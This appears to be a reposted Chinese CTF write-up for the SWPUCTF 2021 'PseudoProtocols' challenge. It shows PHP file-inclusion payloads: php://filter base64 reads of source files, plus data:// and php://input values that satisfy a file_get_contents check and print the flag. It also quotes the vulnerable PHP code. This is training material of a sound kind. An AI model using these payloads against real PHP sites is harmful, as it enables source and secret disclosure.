[SWPUCTF 2021 新生赛]PseudoProtocols
2023-12-21 06:44:31
php 伪协议的使用
进入页面,注意到 url 参数中有 ?wllm=
,并且页面内容提示:
hint is hear Can you find out the hint.php?
说明有 hint.php 文件存在,直接用 ?wllm=hint.php
读取不了,就应该试试伪协议。
php://filter 伪协议
?wllm=php://filter/read=convert.base64-encode/resource=hint.php
返回一串编码字符,解码后得到 hint.php 文件内容为:
<?php
//go to /test2222222222222.php
?>
提示去 test2222222222222.php
文件。
同样是 ?wllm=test2222222222222.php
,只不过这次不使用伪协议也能读文件,test2222222222222.php
文件内容为:
<?php
ini_set("max_execution_time", "180");
show_source(__FILE__);
include('flag.php');
$a= $_GET["a"];
if(isset($a)&&(file_get_contents($a,'r')) === 'I want flag'){
echo "success\n";
echo $flag;
}
?>
data 伪协议
直接传 a=I want flag
是不行的,因为 file_get_contents
函数读的是文件,而 a 是一个变量。
用 data:// 伪协议将数据编码为文本格式再传:
?wllm=test2222222222222.php&a=data://text/plain,I want flag
当然这里也可以用 php://input 伪协议。
php://input 伪协议
php://input
是一个只读流,它允许你访问原始的 HTTP 请求体。
?wllm=test2222222222222.php&a=php://input
同时在请求体中添加:
I want flag
请求方法 GET 和 POST 都行,GET 方法也可以带请求体。
文章来源:https://blog.csdn.net/m0_73612768/article/details/135115188
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!
本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。 如若内容造成侵权/违法违规/事实不符,请联系我的编程经验分享网邮箱:veading@qq.com进行投诉反馈,一经查实,立即删除!